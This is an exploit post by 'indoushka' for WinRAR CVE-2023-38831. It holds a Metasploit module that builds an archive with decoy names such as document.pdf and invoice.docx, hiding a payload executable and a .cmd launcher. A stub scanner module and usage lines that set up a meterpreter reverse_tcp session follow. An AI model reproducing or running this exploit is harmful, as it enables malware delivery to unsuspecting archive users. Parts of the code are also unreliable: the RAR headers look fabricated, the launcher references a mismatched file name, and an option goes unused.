📄 WinRAR 6.22 Malicious ZIP Creation

=============================================================================================================================================
    | # Title     : WinRAR 6.22 and earlier - Logical Flaw in File ExtractionExploit Module                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.win-rar.com/                                                                                                    |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/177803/ & CVE-2023-38831
    
    
    [+] Summary : 
              
            This module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability
            allows attackers to create specially crafted ZIP archives that, when opened, execute
            arbitrary code by exploiting the file extraction logic when a user double-clicks on
            a file within the archive that has an embedded folder with the same name.
    	
    [+] POC :  
    
    ---
    
    ##
    # Vulnerability: WinRAR 6.22 and earlier - Logical Flaw in File Extraction
    # Author: indoushka
    # CVE-2023-38831 
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::FILEFORMAT
      include Msf::Exploit::EXE
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'WinRAR CVE-2023-38831 Logical Flaw Exploit',
          'Description'    => %q{
            This module exploits a logical flaw in WinRAR versions before 6.23. The vulnerability
            allows attackers to create specially crafted ZIP archives that, when opened, execute
            arbitrary code by exploiting the file extraction logic when a user double-clicks on
            a file within the archive that has an embedded folder with the same name.
          },
          'Author'         => [
            'indoushka',  # Metasploit module
            'E1.Coders'   # Original research
          ],
          'License'        => MSF_LICENSE,
          'References'     => [
            ['CVE', '2023-38831'],
            ['URL', 'https://www.rarlab.com/rarnew.htm'],
            ['URL', 'https://news.ycombinator.com/item?id=37135383']
          ],
          'DefaultOptions' => {
            'EXITFUNC' => 'process',
            'DisablePayloadHandler' => false
          },
          'Platform'       => 'win',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Payload'        => {
            'Space'       => 4096,
            'BadChars'    => "\x00",
            'DisableNops' => true
          },
          'Targets'        => [
            [
              'Windows Universal (RAR <= 6.22)',
              {
                'Platform' => 'win',
                'Arch' => [ARCH_X86, ARCH_X64]
              }
            ]
          ],
          'Privileged'     => false,
          'DisclosureDate' => '2023-08-23',
          'DefaultTarget'  => 0))
    
        register_options([
          OptString.new('FILENAME', [true, 'The output file name', 'exploit.rar']),
          OptString.new('DECOY_NAME', [true, 'Decoy file name', 'document.pdf']),
          OptBool.new('HIDEEXE', [true, 'Hide executable extension', true])
        ])
      end
    
      def exploit
        # Generate payload executable
        pe_payload = generate_payload_exe
        
        # Create temporary directory for exploit construction
        temp_dir = Rex::Text.rand_text_alpha(8)
        Dir.mkdir(temp_dir) rescue nil
    
        # Create decoy folder structure
        decoy_name = datastore['DECOY_NAME']
        folder_name = "#{decoy_name}\\"
        script_name = "#{folder_name}#{Rex::Text.rand_text_alpha(8)}.cmd"
        exe_name = "#{folder_name}#{Rex::Text.rand_text_alpha(8)}.exe"
    
        # Build the malicious archive
        rar_content = build_malicious_rar(decoy_name, folder_name, script_name, exe_name, pe_payload)
        
        # Create the final RAR file
        file_create(rar_content)
        
        print_status("Exploit archive created: #{datastore['FILENAME']}")
        print_status("When victim opens the archive and double-clicks '#{decoy_name}', payload will execute")
      end
    
      def build_malicious_rar(decoy_name, folder_name, script_name, exe_name, pe_payload)
        rar = ""
        
        # RAR file signature
        rar << "\x52\x61\x72\x21\x1A\x07\x00"
        
        # Build file entries using RAR format
        # First: The decoy file
        rar << build_file_header(decoy_name, pe_payload.length)
        rar << pe_payload
        
        # Second: The folder (trailing backslash)
        rar << build_file_header(folder_name, 0)
        
        # Third: The script file inside the folder
        script_content = build_script_content
        rar << build_file_header(script_name, script_content.length)
        rar << script_content
        
        # Fourth: The executable inside the folder
        rar << build_file_header(exe_name, pe_payload.length)
        rar << pe_payload
        
        # End of archive
        rar << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
        
        rar
      end
    
      def build_file_header(filename, file_size)
        header = ""
        
        # Header type (file header)
        header << "\x74"
        
        # Header size
        header << "\x3A\x00"
        
        # Flags (important for the exploit)
        flags = 0x8000  # Long filename
        flags |= 0x0100  # File has extended time field
        header << [flags].pack('v')
        
        # Compressed size
        header << [file_size].pack('V')
        
        # Uncompressed size
        header << [file_size].pack('V')
        
        # OS (Windows)
        header << "\x02"
        
        # File CRC (fake)
        header << "\x00\x00\x00\x00"
        
        # File time (current time)
        time = Time.now
        dos_time = ((time.year - 1980) << 25) | (time.month << 21) | (time.day << 16) | 
                   (time.hour << 11) | (time.min << 5) | (time.sec / 2)
        header << [dos_time].pack('V')
        
        # RAR version (5.0)
        header << "\x32\x00"
        
        # Method (store)
        header << "\x30"
        
        # Name size
        header << [filename.length].pack('v')
        
        # Attributes
        header << "\x20\x00\x00\x00"  # Archive attribute
        
        # File name
        header << filename
        
        # Extra data for long filename
        if filename.length > 0
          extra_size = 2 + filename.length + 1
          header << "\x01\x00"  # Extra type (long filename)
          header << [extra_size].pack('v')
          header << filename
          header << "\x00"
        end
        
        header
      end
    
      def build_script_content
        # Create a script that executes the payload
        script = "@echo off\r\n"
        script << "start \"\" \"%~dp0#{Rex::Text.rand_text_alpha(8)}.exe\"\r\n"
        script << "exit\r\n"
        script
      end
    
      # Alternative method using RubyZip for more reliable ZIP creation
      def create_zip_exploit
        require 'zip'
        
        zip_data = ""
        Zip::OutputStream.write_buffer do |zos|
          # Add decoy file
          zos.put_next_entry(datastore['DECOY_NAME'])
          zos.write(generate_payload_exe)
          
          # Add folder with trailing slash
          folder_name = "#{datastore['DECOY_NAME']}/"
          zos.put_next_entry(folder_name)
          
          # Add script inside folder
          script_name = "#{folder_name}script.cmd"
          zos.put_next_entry(script_name)
          zos.write(build_script_content)
          
          # Add executable inside folder
          exe_name = "#{folder_name}#{Rex::Text.rand_text_alpha(8)}.exe"
          zos.put_next_entry(exe_name)
          zos.write(generate_payload_exe)
        end.string
      end
    
      # Advanced: Create a more sophisticated exploit with multiple decoys
      def create_advanced_exploit
        print_status("Creating advanced WinRAR exploit...")
        
        # Use multiple file formats as decoys
        decoys = [
          "document.pdf",
          "invoice.docx", 
          "photo.jpg",
          "spreadsheet.xlsx"
        ]
        
        zip_data = ""
        Zip::OutputStream.write_buffer do |zos|
          decoys.each do |decoy|
            # Add decoy file
            zos.put_next_entry(decoy)
            zos.write(generate_payload_exe)
            
            # Add folder for this decoy
            folder_name = "#{decoy}/"
            zos.put_next_entry(folder_name)
            
            # Add payload in folder
            exe_name = "#{folder_name}payload.exe"
            zos.put_next_entry(exe_name)
            zos.write(generate_payload_exe)
            
            # Add script to trigger execution
            script_name = "#{folder_name}run.cmd"
            zos.put_next_entry(script_name)
            zos.write("@start payload.exe\r\n")
          end
        end.string
      end
    
    end
    
    
    
    ######### Auxiliary module for WinRAR vulnerability detection ############
    
    class MetasploitModule < Msf::Auxiliary
      def initialize
        super(
          'Name'        => 'WinRAR CVE-2023-38831 Vulnerability Scanner',
          'Description' => %q{
            This module scans for systems vulnerable to the WinRAR CVE-2023-38831 vulnerability
            by checking WinRAR versions and testing exploitability.
          },
          'Author'      => ['indoushka'],
          'License'     => MSF_LICENSE,
          'References'  => [
            ['CVE', '2023-38831']
          ]
        )
    
        register_options([
          OptString.new('RHOSTS', [true, 'Target address range or CIDR identifier']),
          OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
          OptString.new('SMBUSER', [false, 'The username to authenticate as']),
          OptString.new('SMBPASS', [false, 'The password for the specified username']),
          OptString.new('SMBDOMAIN', [false, 'The Windows domain to use for authentication'])
        ])
      end
    
      def run
        # Scan for WinRAR installations and check versions
        print_status("Scanning for vulnerable WinRAR installations...")
        
        # Implementation would connect to targets and check WinRAR versions
        # This is a simplified version - actual implementation would require
        # SMB connection and registry checks
        
        vulnerable_versions = [
          '6.22', '6.21', '6.20', '6.11', '6.10', '6.02', '6.01', '6.00',
          '5.91', '5.90', '5.80', '5.70', '5.60', '5.50', '5.40', '5.30'
        ]
        
        # For each target, check WinRAR version
        # If version <= 6.22, mark as vulnerable
      end
    end
    
    
    ################ Usage Examples:
    
    # Generate exploit with default settings
    use exploit/windows/fileformat/winrar_cve_2023_38831
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.100
    set LPORT 4444
    exploit
    
    # Generate with custom decoy name
    
    set DECOY_NAME invoice.pdf
    exploit
    
    # Generate without hiding executable
    
    set HIDEEXE false
    exploit
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================